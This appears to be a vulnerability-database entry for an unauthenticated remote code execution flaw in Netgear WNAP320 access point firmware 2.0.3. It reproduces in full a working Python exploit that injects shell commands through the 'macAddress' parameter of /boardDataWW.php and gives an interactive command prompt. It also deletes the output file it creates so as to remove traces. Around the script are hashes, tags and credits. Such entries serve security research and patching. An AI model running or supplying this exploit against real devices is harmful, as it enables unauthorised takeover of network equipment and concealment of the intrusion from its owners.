ID

VAR-E-202106-0265


TITLE

Netgear WNAP320 2.0.3 Remote Code Execution

Trust: 0.5

sources: PACKETSTORM: 163297

DESCRIPTION

Netgear WNAP320 version 2.0.3 suffers from an unauthenticated remote code execution vulnerability.

Trust: 0.5

sources: PACKETSTORM: 163297

AFFECTED PRODUCTS

vendor:netgearmodel:wnap320scope:eqversion:2.0.3

Trust: 0.5

sources: PACKETSTORM: 163297

EXPLOIT

# Exploit Title: Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)
# Vulnerability: Remote Command Execution on /boardDataWW.php macAddress parameter
# Notes: The RCE doesn't need to be authenticated
# Date: 26/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# IoT Device: Netgear WNAP320 Access Point
# Version: WNAP320 Access Point Firmware v2.0.3

import requests
import sys

if(len(sys.argv) != 2):
print('Must specify the IP parameter')
print("eg: python3 wnap320_v2_0_3.py <IP>")
sys.exit(0)

host = sys.argv[1]
port = 80

cmd = ''

while(True):
cmd = input('Shell_CMD$ ')
#injecting system command part writing the command output to a output file
data = {
'macAddress' : '112233445566;' + cmd + ' > ./output #',
'reginfo' : '0',
'writeData' : 'Submit'
}

url = 'http://' + host + '/boardDataWW.php'
response = requests.post(url, data=data)

if(response.ok):
#read the command output result
url = 'http://' + host + '/output'
cmdOutput = requests.get(url)
print(cmdOutput.text)

#remove trace
cmd = 'rm ./output'
data = {
'macAddress' : '112233445566;' + cmd + ' #',
'reginfo' : '0',
'writeData' : 'Submit'
}
url = 'http://' + host + '/boardDataWW.php'
response = requests.post(url, data=data)
else:
print('[!] No response from the server.')

Trust: 0.5

sources: PACKETSTORM: 163297

EXPLOIT HASH

LOCAL

SOURCE

md5: 6d46233dd769ed00d87833e2d972880f
sha-1: 110444d1159792435ce70326e1a4a7b60b79f5c6
sha-256: f55265a3529db3a819eee1b0f00df0a280e909fc77f24c6ee5747d5c6d90f7d4
md5: 6d46233dd769ed00d87833e2d972880f

Trust: 0.5

sources: PACKETSTORM: 163297

PRICE

free

Trust: 0.5

sources: PACKETSTORM: 163297

TYPE

code execution

Trust: 0.5

sources: PACKETSTORM: 163297

TAGS

tag:exploit

Trust: 0.5

tag:remote

Trust: 0.5

tag:code execution

Trust: 0.5

sources: PACKETSTORM: 163297

CREDITS

Bryan Leong

Trust: 0.5

sources: PACKETSTORM: 163297

EXTERNAL IDS

db:PACKETSTORMid:163297

Trust: 0.5

sources: PACKETSTORM: 163297

SOURCES

db:PACKETSTORMid:163297

LAST UPDATE DATE

2022-07-27T09:46:48.974000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:163297date:2021-06-28T16:16:33